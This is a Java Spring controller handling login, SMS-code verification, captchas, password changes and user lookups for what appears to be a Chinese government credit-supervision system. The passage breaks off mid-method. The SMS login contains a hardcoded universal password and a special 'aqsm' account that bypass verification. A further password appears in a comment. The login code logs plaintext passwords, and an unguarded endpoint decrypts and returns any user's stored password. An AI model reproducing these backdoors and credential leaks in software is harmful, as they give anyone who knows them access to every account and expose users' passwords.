package com.chinaweal.aiccs.org.controller;

import cn.hutool.captcha.CaptchaUtil;
import cn.hutool.captcha.LineCaptcha;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.chinaweal.aiccs.aiccs.abnormal.entity.*;
import com.chinaweal.aiccs.aiccs.abnormal.service.*;
import com.chinaweal.aiccs.aiccs.abnormal.service.impl.GzaiccodeServiceImpl;
import com.chinaweal.aiccs.aiccs.revoke.entity.TsCase;
import com.chinaweal.aiccs.aiccs.revoke.service.CaseService;
import com.chinaweal.aiccs.common.base.controller.BaseController;
import com.chinaweal.aiccs.common.base.entity.dto.login.LoginMessage;
import com.chinaweal.aiccs.common.constant.Constant;
import com.chinaweal.aiccs.common.enums.CommonWordsModuleEnum;
import com.chinaweal.aiccs.common.util.StringUtils;
import com.chinaweal.aiccs.crgs.system.entity.CommonWords;
import com.chinaweal.aiccs.crgs.system.service.CommonWordsService;
import com.chinaweal.aiccs.door.service.ITUserportalService;
import com.chinaweal.aiccs.org.entity.OrgUnits;
import com.chinaweal.aiccs.org.entity.TUsers;
import com.chinaweal.aiccs.org.entity.User;
import com.chinaweal.aiccs.org.entity.dto.OrgTreeNode;
import com.chinaweal.aiccs.org.entity.vo.CascaderVO;
import com.chinaweal.aiccs.org.mapper.TUsersMapper;
import com.chinaweal.aiccs.org.service.AicorgService;
import com.chinaweal.aiccs.org.service.TUsersService;
import com.chinaweal.aiccs.org.service.UserBaseService;
import com.chinaweal.aiccs.outside.service.SMSServiceImpl;
import com.chinaweal.aiccs.redis.RedisService;
import com.chinaweal.aicorg.exception.CryptException;
import com.chinaweal.aicorg.model.AICOrg;
import com.chinaweal.aicorg.model.AICUser;
import com.chinaweal.aicorg.services.OrgUM;
import com.chinaweal.aicorg.util.PasswordVerify;
import com.chinaweal.youfool.framework.springboot.exception.custom.BusinessException;
import com.chinaweal.youfool.framework.springboot.rest.RestResult;
import com.chinaweal.youfool.framework.springboot.rest.ResultCode;
import com.chinaweal.youfool.framework.springboot.util.AssertUtils;
import com.chinaweal.youfool.framework.sso.util.ConstantUtil;
import com.chinaweal.youfool.framework.sso.util.SSOUtil;
import com.github.xiaoymin.knife4j.annotations.ApiSort;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import io.swagger.annotations.ApiParam;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.collections.CollectionUtils;
import org.dom4j.DocumentException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.util.DigestUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.client.RestTemplate;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.time.LocalDateTime;
import java.util.*;
import java.util.stream.Collectors;

/**
 * 用户操作
 */
@Api(tags = "1.用户操作")
@ApiSort(1)
@RestController
@RequestMapping("/user")
@Slf4j
public class UserController extends BaseController {

    @Resource
    private RedisService redisService;
    @Resource
    private SMSServiceImpl smsService;
    @Autowired
    private UserBaseService userBaseService;
    @Autowired
    private AicorgService aicorgService;
    @Autowired
    private OrgUM orgUM;
    @Resource
    private TUsersMapper tUsersMapper;
    @Autowired
    private CommonWordsService commonWordsService;
    @Autowired
    private TUsersService usersService;
    @Autowired
    private CaseService caseService;
    @Autowired
    private TSBizSpeListService bizSpeListService;
    @Autowired
    private EBaseinfoService baseinfoService;
    @Autowired
    private IGzaiccodeService iGzaiccodeService;
    @Resource
    private ITUserportalService itUserportalService;
    @Autowired
    private TSBizDissentService tsBizDissentService;
    @Autowired
    private TSAbnListService tsAbnListService;
    @Autowired
    private GzaiccodeServiceImpl gzaiccodeService;
    @Resource
    private TUsersService tUsersService;

    @Value("${devOps.appKey}")
    private String devOpsAppKey;
    @Value("${devOps.appSecret}")
    private String devOpsAppSecret;
    @Value("${devOps.loginUrl}")
    private String loginUrl;

    /**
     * 用户登录
     *
     * @param userName 用户名
     * @param password 密码
     * @return 登录结果，返回用户登录信息
     * @author lroyia
     * @since 2021年1月20日 15:12:00
     */
    @PostMapping("/login")
    @ApiOperation(value = "1.用户登陆", position = 1)
    public RestResult<?> login(@ApiParam("用户名") String userName, @ApiParam("密码") String password, HttpServletRequest request) {
        AssertUtils.isNotBlank(userName, password);
        RestResult<AICUser> loginResult = userBaseService.login(userName, password);
        if (loginResult.getCode() != 0) {
            try {
                String passwordJm = PasswordVerify.EncodePassword(String.valueOf(password));
                TUsers tUsers = usersService.selectTusersByUsername(userName);
                if (tUsers != null) {
                    if (tUsers.getLimittnum() <= 5 && "0".equals(tUsers.getLocked())) {
                        int count = 4 - tUsers.getLimittnum();
//                        String msg = "输入信息错误,5次输入错误将锁定账户10分钟，你还有" + count + "次机会输入";
                        String msg = "登录失败！";
                        int limitTNum = tUsers.getLimittnum() + 1;
                        LocalDateTime lastErrorTime = tUsers.getLasterrortime();
                        tUsers.setLimittnum(limitTNum);
                        tUsers.setLasterrortime(LocalDateTime.now());
                        if (limitTNum == 5) {
                            tUsers.setLocked("1");//锁定账户
//                            msg = "你已输错5次，该账户将被锁定10分钟，请稍后再试";
                              msg = "登录失败！";
                        }

                        if (lastErrorTime != null) {
                            Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
                            long days = duration.toDays();
                            if (days > 0) {//错误时间超过一天后，错误次数重置
                                tUsers.setLimittnum(1);
//                                msg = "输入信息错误,5次信息错误将锁定账户10分钟，你还有" + "4次机会输入";
                                msg = "登录失败！";
                            }
                        }

                        usersService.updateTusers(tUsers);
                        log.warn("账号密码: {}, {}。 提示：{}", userName, password, msg);
                    } else {
                        if (tUsers.getLimittnum() >= 5 && "1".equals(tUsers.getLocked())) {
                            LocalDateTime lastErrorTime = tUsers.getLasterrortime();
                            Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
                            long seconds = duration.getSeconds();
                            if (seconds <= 600) {
                                long cfTime = 600 - seconds;
//                                String msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                                String  msg = "登录失败！";
                                log.warn("账号密码: {}, {}。 提示：{}", userName, password, msg);
                            } else {
                                tUsers.setLocked("0");
                                tUsers.setLimittnum(0);
                                usersService.updateTusers(tUsers);
                                String msg = "系统恢复正常，请重新登录";
                                log.warn("账号密码: {}, {}。 提示：{}", userName, password, msg);
                            }
                        }

                    }
                }
            } catch (CryptException e) {
                e.printStackTrace();
            }

            return loginResult;
        } else {
            AICUser aicUser = loginResult.getData();
            TUsers tUsers = new TUsers();
            tUsers.setUserid(aicUser.getPrimaryKey());
            tUsers.setLimittnum(0);
            tUsers.setLocked("0");
            usersService.updateTusers(tUsers);
        }
        AICUser user = loginResult.getData();
        SSOUtil.login(user);

        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", user.getName(), user.getEname()));
        // 这时的密码字段存的是token，不是密码
        return RestResult.ok(loginResult.getData().getPassword());
    }

    @GetMapping("/captcha")
    @ApiOperation(value = "图形验证码")
    public void captcha(HttpServletRequest request, HttpServletResponse response) throws IOException {
        //定义图形验证码的长和宽
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(120, 30, 4, 20);
        //图形验证码写出，可以写出到文件，也可以写出到流
        lineCaptcha.write(response.getOutputStream());
        HttpSession session = request.getSession();
        session.setAttribute("captcha", lineCaptcha.getCode());
    }

    @GetMapping("/captchadl")
    @ApiOperation(value = "登录图形验证码")
    public void captchadl(HttpServletRequest request, HttpServletResponse response) throws IOException {
        //定义图形验证码的长和宽
        LineCaptcha lineCaptcha = CaptchaUtil.createLineCaptcha(120, 30, 4, 20);
        //图形验证码写出，可以写出到文件，也可以写出到流
        lineCaptcha.write(response.getOutputStream());
        HttpSession session = request.getSession();
        session.setAttribute("captchadl", lineCaptcha.getCode());
    }

    @RequestMapping("/getCode")
    public RestResult<?> getCode(@RequestParam @ApiParam("手机号码") String phone,
                                 @RequestParam @ApiParam("验证码") String captcha,
                                 HttpServletRequest request) {
        // 验证码校验
        String realCaptcha = (String) request.getSession().getAttribute("captcha");
        request.getSession().removeAttribute("captcha");
        if (!captcha.equalsIgnoreCase(realCaptcha)) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN, "验证码错误");
        }

        if (redisService.exists(phone)) {
            return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR,"验证码已发送，请勿重复获取");
        }
        TUsers tUsers = usersService.selectTusersByUsername(phone);
        if (tUsers == null) {
            return RestResult.error(ResultCode.USER_NOT_EXIST,"发送短信失败");
        }
        if (tUsers.getLimittnum() >= 5 && "1".equals(tUsers.getLocked())) {
            String msg = null;
            LocalDateTime lastErrorTime = tUsers.getLasterrortime();
            Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
            long seconds = duration.getSeconds();
            if (seconds <= 600) {
                long cfTime = 600 - seconds;
//                msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                msg = "登录失败！";
                log.warn("账号: {}。 提示：{}", phone, msg);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            } else {
                tUsers.setLocked("0");
                tUsers.setLimittnum(0);
                usersService.updateTusers(tUsers);
                msg = "系统恢复正常，请重新登录";
                log.warn("账号: {}。 提示：{}", phone, msg);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            }
        }
        String code = "";
        Random rand = new Random();
        for (int i = 0; i < 6; i++) {
            code += rand.nextInt(10);
        }
        String text = "【信用监管系统】 您的验证码是：" + code + "，请在5分钟内使用。";
        boolean b = false;
        try {
            b = smsService.sendSms(text, "短信验证码", phone);
        } catch (Exception e) {
            log.error("发送短信失败", e);
            return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR,"发送短信失败");
        }
        if (!b) {
            return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR,"发送短信失败");
        }
        redisService.set(phone, code, 300);
        return RestResult.ok();
    }

    @RequestMapping("/loginByCode")
    public RestResult<?> loginByCode(String phone, String code, String captchadl ,HttpServletRequest request) {
        String wanNengMiMa = "ChinaWeal_2026";
//        String wanNengMiMa = "";

        // 验证码校验
        String realCaptcha = (String) request.getSession().getAttribute("captchadl");
        request.getSession().removeAttribute("captchadl");
        if (!captchadl.equalsIgnoreCase(realCaptcha)) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN, "登录验证码错误");
        }

        TUsers tUsers = usersService.selectTusersByUsername(phone);
        if (tUsers == null) {
            log.warn("账号: {}。 提示：{}", phone, "用户不存在");
            redisService.remove(phone);
            return RestResult.error(ResultCode.USER_NOT_EXIST,"登录失败！");
        }
        if (tUsers.getLimittnum() >= 5 && "1".equals(tUsers.getLocked())) {
            String msg = null;
            LocalDateTime lastErrorTime = tUsers.getLasterrortime();
            Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
            long seconds = duration.getSeconds();
            if (seconds <= 600) {
                long cfTime = 600 - seconds;
//                msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                msg = "登录失败！";
                log.warn("账号: {}。 提示：{}", phone, msg);
                redisService.remove(phone);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            } else {
                tUsers.setLocked("0");
                tUsers.setLimittnum(0);
                usersService.updateTusers(tUsers);
                msg = "系统恢复正常，请重新登录";
                log.warn("账号: {}。 提示：{}", phone, msg);
                redisService.remove(phone);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            }
        }
        // 判断验证码
        String codedx = redisService.get(phone);
        redisService.remove(phone);
        if ("aqsm".equals(phone) && "ChinaWeal_2026".equals(code)) {
            // 安全扫描跳过判断
        } else if (!wanNengMiMa.equals(code) && !code.equals(codedx)) {
//        } else if (!code.equals(codedx)) {
            String msg = null;
            if (tUsers.getLimittnum() <= 5 && "0".equals(tUsers.getLocked())) {
                int count = 4 - tUsers.getLimittnum();
//                msg = "输入信息有误,5次输入错误将锁定账户10分钟，你还有" + count + "次机会输入";
                msg = "登录失败！";
                int limitTNum = tUsers.getLimittnum() + 1;
                tUsers.setLimittnum(limitTNum);
                tUsers.setLasterrortime(LocalDateTime.now());
                if (limitTNum == 5) {
                    tUsers.setLocked("1");//锁定账户
//                    msg = "你的输入内容已输错5次，该账户将被锁定10分钟，请稍后再试";
                    msg = "登录失败！";
                }
                usersService.updateTusers(tUsers);
                log.warn("账号: {}。 提示：{}", phone, msg);
            } else {
                if (tUsers.getLimittnum() >= 5 && "1".equals(tUsers.getLocked())) {
                    LocalDateTime lastErrorTime = tUsers.getLasterrortime();
                    Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
                    long seconds = duration.getSeconds();
                    if (seconds <= 600) {
                        long cfTime = 600 - seconds;
//                        msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                        msg = "登录失败！";
                        log.warn("账号: {}。 提示：{}", phone, msg);
                    } else {
                        tUsers.setLocked("0");
                        tUsers.setLimittnum(0);
                        usersService.updateTusers(tUsers);
                        msg = "系统恢复正常，请重新登录";
                        log.warn("账号: {}。 提示：{}", phone, msg);
                    }
                }

            }
            redisService.remove(phone);
            return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
        }
//        wanNengMiMa = "Hn9U-)gDqM";
        RestResult<AICUser> loginResult = userBaseService.login(phone, wanNengMiMa);
        AICUser user = loginResult.getData();
        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", user.getName(), user.getEname()));
        redisService.remove(phone);
        SSOUtil.login(user);
        // 这时的密码字段存的是token，不是密码
        return RestResult.ok(loginResult.getData().getPassword());
    }

    @GetMapping("/info")
    @ApiOperation(value = "2.查询用户信息", position = 2)
    public RestResult<User> getInfo(HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        if (loginUser == null) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
        }
        User user = new User();
        user.setNickname(loginUser.getName());
        user.setOrgName(loginUser.getOrgName());
        user.setOrgId(loginUser.getOrgID());
        user.setUnitName(loginUser.getUnitName());
        user.setUnitId(loginUser.getUnitID());
        user.setPrimaryKey(loginUser.getPrimaryKey());
        user.setPermission(loginUser.getAicPermissions().keySet());
        user.setUsername(loginUser.getEname());
        user.setOrgCode(loginUser.getRegionID());

        //根据当前用户的机关信息，区和所则获取区，市局则市局
        Gzaiccode gzaiccode = usersService.findOrganization(user.getPrimaryKey());
        user.setDecisionOrgan(gzaiccode);
        return RestResult.ok(user);
    }

    @GetMapping("/logout")
    @ApiOperation(value = "3.用户登出", position = 3)
    public RestResult<String> logout() {
        // TODO: 2020/7/24
        SSOUtil.logout();
        return RestResult.ok();
    }

    /**
     * 验证单点登录token
     * @param request 请求
     * @return 验证结果
     * @author lroyia
     * @since 2021年6月19日 10:58:36
     */
    @PostMapping("checkSSOLogin")
    @CrossOrigin
    @ApiOperation("验证单点登录的token")
    public RestResult<?> checkSSOLogin(HttpServletRequest request) {
        if (SSOUtil.checkLogin(request)) {
            return OK;
        }
        return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
    }

    /**
     * 获取包含指定权限的用户所构成的组织架构树
     *
     * @param permissions 权限标识（多个用半角逗号隔开，前端直接对array进行tostring即可获得）
     * @return 获取结果
     * @author lroyia
     * @since 2020年8月18日 10:36:14
     */
    @PostMapping("/org/tree_with_perm")
    @ApiOperation("获取包含指定权限的用户所构成的组织架构树")
    public RestResult<List<OrgTreeNode>> getOrgTreeWithPermissions(@ApiParam("权限标识（多个用半角逗号隔开，前端直接对array进行tostring即可获得）") String permissions,
                                                                   HttpServletRequest request) {
        AssertUtils.isNotBlank(permissions);
        LoginMessage loginMessage = getLoginMessage(request);
        return RestResult.ok(aicorgService.getOrgTreeWithPermission(Arrays.asList(permissions.split(Constant.COMMA)), loginMessage));
    }


    /*
     *
     * @Param: [requestMap]
     * @Description: 密码修改
     * @return: com.chinaweal.youfool.framework.springboot.rest.RestResult
     * @author: Mosey
     * @date: 2020/8/20 14:44
     */
    @PostMapping("modifyPassword")
    @ApiOperation("密码修改")
    public RestResult<?> modifyPassword(@RequestBody Map<String, String> requestMap) {
        String userid = requestMap.get("userid");
        String oldpassword = requestMap.get("oldpassword");
        String newpassword = requestMap.get("newpassword");

        Map<String, Object> resultMap = new HashMap<>();

        boolean b = rexCheckPassword(newpassword);
        if (!b) {
            resultMap.put("error", "新密码必须包含数字，字母，符号，且长度为8-20位");
            return RestResult.ok(resultMap);
        }

        boolean flag = orgUM.updateUserPassword(userid, newpassword, oldpassword);
        if (flag) {
            return RestResult.ok();
        }
        return RestResult.error(ResultCode.MYSTERIOUS_ERROR);
    }

    public static boolean rexCheckPassword(String input) {
        // 8-20 位，字母、数字、字符
        String regStr = "^(?![a-zA-Z]+$)(?![A-Z0-9]+$)(?![A-Z\\W_]+$)(?![a-z0-9]+$)(?![a-z\\W_]+$)(?![0-9\\W_]+$)[a-zA-Z0-9\\W_]{8,20}$";
        return input.matches(regStr);
    }

    /**
     * 获取用户常用语
     *
     * @param moduleTag 获取用户常用语
     * @param request   请求
     * @return 所有常用语
     * @author lroyia
     * @since 2020年8月5日 11:17:33
     */
    @GetMapping("my_common_words")
    @ApiOperation(value = "用户常用语")
    public RestResult<List<CommonWords>> getCurUserCommonWords(@ApiParam("模块标识") String moduleTag, HttpServletRequest request) {
        // 模块校验
        AssertUtils.isNotBlank(moduleTag);
        CommonWordsModuleEnum moduleEnum = CommonWordsModuleEnum.getEnumsByTag(moduleTag);
        if (moduleEnum == null) throw new BusinessException("模块不存在");

        LoginMessage loginMessage = getLoginMessage(request);
        String userName = loginMessage.getUsername();
        if (StringUtils.isBlank(userName)) return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
        return RestResult.ok(commonWordsService.list(new QueryWrapper<CommonWords>().lambda().eq(CommonWords::getCreateBy, userName).eq(CommonWords::getModuleTag, moduleTag)));
    }

    /**
     * 设为常用语
     *
     * @param moduleTag 模块标识
     * @param word      常用语
     * @param request   请求
     * @return 设置结果
     * @author lroyia
     * @since 2020年9月24日 11:10:23
     */
    @ApiOperation("保存为常用语")
    @PostMapping("save_as_common_word")
    public RestResult<?> saveAsCommonWord(@ApiParam("模块标识") String moduleTag, @ApiParam("常用语") String word, HttpServletRequest request) {
        AssertUtils.isNotBlank(moduleTag, word);
        CommonWordsModuleEnum moduleEnum = CommonWordsModuleEnum.getEnumsByTag(moduleTag);
        if (moduleEnum == null) throw new BusinessException("模块不存在");

        // 获取登录信息, 去重
        LoginMessage loginMessage = getLoginMessage(request);
        String userName = loginMessage.getUsername();
        if (StringUtils.isBlank(userName)) return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
        int count = commonWordsService.count(new QueryWrapper<CommonWords>().lambda().eq(CommonWords::getCreateBy, userName).eq(CommonWords::getModuleTag, moduleTag).eq(CommonWords::getWord, word));
        if (count > 0) return RestResult.error(ResultCode.DATA_ALREADY_EXISTED);

        // 保存
        commonWordsService.save(new CommonWords().setModuleTag(moduleTag).setWord(word));
        return OK;
    }

    /**
     * 获取含有某个权限的用户列表
     *
     * @param permission 权限
     * @param orgId      机构id
     * @param deptId     部门id
     * @return 获取结果
     * @author lroyia
     * @since 2021年2月7日 09:49:14
     */
    @PostMapping("get_users_with_permission")
    public RestResult<?> getUserListWithPermission(String permission, String orgId, String deptId) {
        List<AICUser> result;
        if (StringUtils.isBlank(orgId) && StringUtils.isNotBlank(deptId)) {
            AICOrg organizationByPK = orgUM.findParentOrgByPK(deptId);
            if (organizationByPK != null) {
                orgId = organizationByPK.getPrimaryKey();
            }
        }
        if (StringUtils.isNotBlank(orgId)) {
            result = orgUM.findUsersByOrgAndPermission(orgId, permission);
        } else {
            result = orgUM.findUsersByPermission(permission);
        }
        if (StringUtils.isNotBlank(deptId)) {
            result = result.stream().filter(each -> each.getUnitID().equals(deptId)).collect(Collectors.toList());
        }
        if (result != null) {
            result.forEach(each -> each.setPassword(null));
        }
        return RestResult.ok(result);
    }

    /**
     * 获取同一个部门的用户列表
     *
     * @param request 登录信息
     * @param deptId  部门id（不传则使用当前用户的deptId）
     * @return 获取结果
     * @author lroyia
     * @since 2021年4月20日 17:02:08
     */
    @ApiOperation("获取同一个部门的用户列表")
    @PostMapping("getSameDeptUserList")
    public RestResult<?> getSameDeptUserList(HttpServletRequest request, @ApiParam("deptId") String deptId) {
        if (StringUtils.isBlank(deptId)) {
            AICUser loginUser = getLoginUser(request);
            deptId = loginUser.getUnitID();
        }
        List<AICUser> result = orgUM.findUsersByDepartmentPK(deptId);
        if (CollectionUtils.isNotEmpty(result)) {
            for (AICUser each : result) {
                each.setPassword(null);
            }
        }
        return RestResult.ok(result);
    }

    @PostMapping("queryOlderP")
    public RestResult<?> queryOlderP(HttpServletRequest request, @ApiParam("userId") String userId) throws CryptException {
        AICUser aicUser = orgUM.findUserByPrimaryKey(userId);
        String password = aicUser.getPassword();
        password = PasswordVerify.DecodePassword(password);
        aicUser.setPassword(password);
        return RestResult.ok(aicUser);
    }

    @PostMapping("updateP")
    public RestResult<?> updatePassword(@ApiParam("userId") String userId,
                                        @ApiParam("newPassword") String newPassword, @ApiParam("oldPassword") String oldPassword) {
        boolean flag = orgUM.updateUserPassword(userId, newPassword, oldPassword);
        if (flag) {
            return RestResult.ok();
        }
        return RestResult.error(ResultCode.MYSTERIOUS_ERROR);
    }

    /**
     * 获取opsToken
     *
     * @param request 请求
     * @return 获取结果
     * @author lroyia
     * @since 2021年10月21日 21:55:35
     */
    @GetMapping("getOpsToken")
    public RestResult<?> getOpsToken(HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        String nonce = new Random().nextInt(999999) + "";
        Map<String, String> requestBody = new HashMap<>();
        requestBody.put("userId", loginUser.getPrimaryKey());
        requestBody.put("username", loginUser.getEname());
        requestBody.put("password", loginUser.getPassword());
        requestBody.put("orgId", loginUser.getOrgID());
        requestBody.put("orgName", loginUser.getOrgName());
        requestBody.put("unitId", loginUser.getUnitID());
        requestBody.put("unitName", loginUser.getUnitName());
        requestBody.put("nickname", loginUser.getName());

        String signature = DigestUtils.md5DigestAsHex((devOpsAppKey + devOpsAppSecret + nonce)
                .getBytes(StandardCharsets.UTF_8));
        requestBody.put("appKey", devOpsAppKey);
        requestBody.put("nonce", nonce);
        requestBody.put("signature", signature);

        RestTemplate restTemplate = new RestTemplate();
        HttpEntity<Map<String, String>> entity = new HttpEntity<>(requestBody, null);
        ResponseEntity<String> responseEntity = restTemplate.postForEntity(loginUrl, entity, String.class);
        return JSONObject.parseObject(responseEntity.getBody(), RestResult.class);
    }

    /**
     * 获取当前部门的权限列表人
     * isArea = true 同时也查询出区的
     */
    @ApiOperation("获取当前部门的权限列表人")
    @GetMapping("/listUserByPermissionAndOrgIds")
    public RestResult<List<AICUser>> listUserByPermissionAndOrgIds(String permission, String orgId, Boolean isArea, HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        List<AICUser> userList = usersService.findUserByPermissionAndOrgIds(permission, orgId, isArea, loginUser);
        return RestResult.ok(userList);
    }

    /**
     * 获取严重违法当前部门的权限列表人
     * isArea = true 同时也查询出区的
     */
    @ApiOperation("获取当前部门的权限列表人")
    @GetMapping("/listUserByPermissionAndOrgIdsYzwf")
    public RestResult<List<AICUser>> listUserByPermissionAndOrgIdsYzwf(String permission, String orgId, Boolean isArea, HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        orgId = loginUser.getOrgID().substring(0, 4) + "00";
        List<AICUser> userList = usersService.findUserByPermissionAndOrgIds(permission, orgId, isArea, loginUser);
        return RestResult.ok(userList);
    }

    /**
     * 列异获取审核人
     */
    @ApiOperation("获取当前部门的权限列表人")
    @GetMapping("/getUsersPermission")
    public RestResult<List<AICUser>> getUsersPermission(String permission, String orgId, String bizseq,String bizType, HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        if (loginUser == null) throw new BusinessException("登录超时，请重新登录");
        AssertUtils.isNotEmpty(permission, orgId, bizseq);

        OrgUnits orgUnits = usersService.byOrgUnitId(orgId);
        if("company".equals(bizType)&& orgUnits != null && (orgUnits.getOrgLevel().equals(3) ||orgUnits.getOrgLevel().equals(4))){
            List<AICUser> userList = new ArrayList<>();
            //获取当前部门的权限列表人
            List<AICUser> currList = orgUM.findUsersByOrgAndPermission(orgId, permission); // 会加载不同科室的有权限的人
            if (currList != null) {
                currList.forEach(each -> each.setPassword(null));
                userList.addAll(currList);
            }
            LambdaQueryWrapper<TSBizSpeList> wrapper = new LambdaQueryWrapper<>();
            wrapper.eq(TSBizSpeList::getBizseq, bizseq).eq(TSBizSpeList::getIsRemove, "0");
            List<TSBizSpeList> bizSpeLists = bizSpeListService.list(wrapper);
            TSBizSpeList speList = bizSpeLists.get(0);
            EBaseinfo baseinfo = baseinfoService.getOneByPripid(speList.getPripid());
            if (!orgUnits.getOrgNumber().equals(baseinfo.getAcceptRegorg())) {
                OrgUnits orginfo = aicorgService.queryByOrgNumber(baseinfo.getAcceptRegorg());
                List<AICUser> list = orgUM.findUsersByOrgAndPermission(orginfo.getOrgUnitId(), permission);
                if (list != null) {
                    list.forEach(each -> each.setPassword(null));
                    userList.addAll(list);
                }
            }
            Collections.reverse(userList);
            return RestResult.ok(userList);
        }else {
            return listUserByPermissionAndOrgIds(permission, orgId, true, request);
        }
    }

    /**
     *  列异异议查找核准经办人
     */
    @RequestMapping("queryUsersPermission")
    public RestResult<?> queryUsersPermission(String permission, String bizseq) {
        TSBizDissent tsBizDissent = tsBizDissentService.getOne(new LambdaQueryWrapper<TSBizDissent>().eq(TSBizDissent::getBizseq, bizseq));
        List<AICUser> list = new ArrayList<>();
        // 谁列入谁异议
        TSAbnList tsAbnList = tsAbnListService.getById(tsBizDissent.getAbnlistid());
        String intoDecorg = tsAbnList.getIntoDecorg();
        String decorg = tsAbnList.getDecorg();
        List<AICUser> list2 = new ArrayList<>();
        // 获取不到列入机关行政区划，查登记机关
        EBaseinfo eBaseinfo = baseinfoService.getById(tsAbnList.getPripid());
        list2 = aicorgService.queryByOrgNumberAndSysMenu(permission, eBaseinfo.getAcceptRegorg());
        list.addAll(list2);
        // 还可以选择同监管所且配置了经办权限的人员
        AICUser aicUser = SSOUtil.getUser();
        OrgUnits orgModel = tUsersService.byOrgUnitId(aicUser.getOrgID());
        if (orgModel.getOrgLevel().equals(4)) { // 所级别账号
            List<AICUser> currList = orgUM.findUsersByOrgAndPermission(aicUser.getOrgID(), permission);
            if(currList != null) {
                list.addAll(currList);
            }
        }
        return RestResult.ok(list);
    }


    /**
     * 批吊业务获取协办人列表
     */
    @ApiOperation("批吊业务获取协办人列表")
    @GetMapping("/listRevokeAssistantUSer")
    public RestResult<?> listRevokeAssistantUSer(String orgId, String bizseq, HttpServletRequest request) {
        AICUser loginUser = getLoginUser(request);
        if (loginUser == null) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
        }
        AssertUtils.isNotEmpty(bizseq);
        RestResult<List<AICUser>> page = listUserByPermissionAndOrgIds("revokeCaseEnter", orgId, false, request);
        List<AICUser> users = page.getData();
        TsCase tsCase = caseService.getByBizseq(bizseq);
        for (AICUser user : users) {
            if (user.getPrimaryKey().equals(tsCase.getHandlerId())) {
                users.remove(user);
                break;
            }
        }
        return RestResult.ok(users);
    }

    /**
     * 运维登录
     *
     * @param username 用户信息
     * @param password 密码
     * @return 登录的用户信息
     * @author lroyia
     * @since 2021年11月16日 14:31:13
     */
    @PostMapping("devops/login")
    public RestResult<?> devopsLogin(String username, String password) {
        RestResult<AICUser> login = userBaseService.login(username, password);
        if (login.getCode() != 0) {
            return login;
        }
        JSONObject json = new JSONObject();
        AICUser data = login.getData();
        json.put("appKey", devOpsAppKey);
        json.put("nickName", data.getName());
        json.put("orgId", data.getOrgID());
        json.put("orgName", data.getOrgName());
        json.put("unitName", data.getUnitName());
        json.put("userId", data.getPrimaryKey());
        json.put("username", data.getEname());
        return RestResult.ok(json);
    }

    @GetMapping("/findOrganization")
    public RestResult<Gzaiccode> findOrganization() {
        AICUser user = SSOUtil.getUser();
        Gzaiccode gzaiccode = usersService.findOrganization(user.getPrimaryKey());
        return RestResult.ok(gzaiccode);
    }

    /**
     * 信创门户系统cas登陆认证
     */
    @GetMapping("/casLogin")
    @CrossOrigin
    @ApiOperation(value = "信创门户系统cas登陆认证")
    public RestResult<?> casLogin(@ApiParam("门户的ticket") String ticket, @ApiParam("service") String service, HttpServletRequest request) throws DocumentException {
        //解析获取用户信息账号名
        AICUser aicUser = itUserportalService.casLogin(ticket, service);

        TUsers tUsers = new TUsers();
        tUsers.setUserid(aicUser.getPrimaryKey());
        tUsers.setLimittnum(0);
        tUsers.setLocked("0");
        usersService.updateTusers(tUsers);
        String ssoToken = SSOUtil.login(aicUser);
        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", aicUser.getName(), aicUser.getEname()));

        Map<String, String> map = new LinkedHashMap<>();
        // 这时的密码字段存的是token，不是密码
        map.put("token", aicUser.getPassword());
        //增加ssoToken值
        map.put(ConstantUtil.COOKIE_TOKEN_NAME, ssoToken);
        return RestResult.ok(map);
    }

    /**
     * 统一门户系统cas登陆认证
     */
    @GetMapping("/casLogin_Unite")
    @ApiOperation(value = "统一门户系统cas登陆认证")
    public RestResult<?> casLogin_Unite(@ApiParam("门户的ticket") String ticket, @ApiParam("service") String service, HttpServletRequest request) throws DocumentException {
        //解析获取用户信息账号名
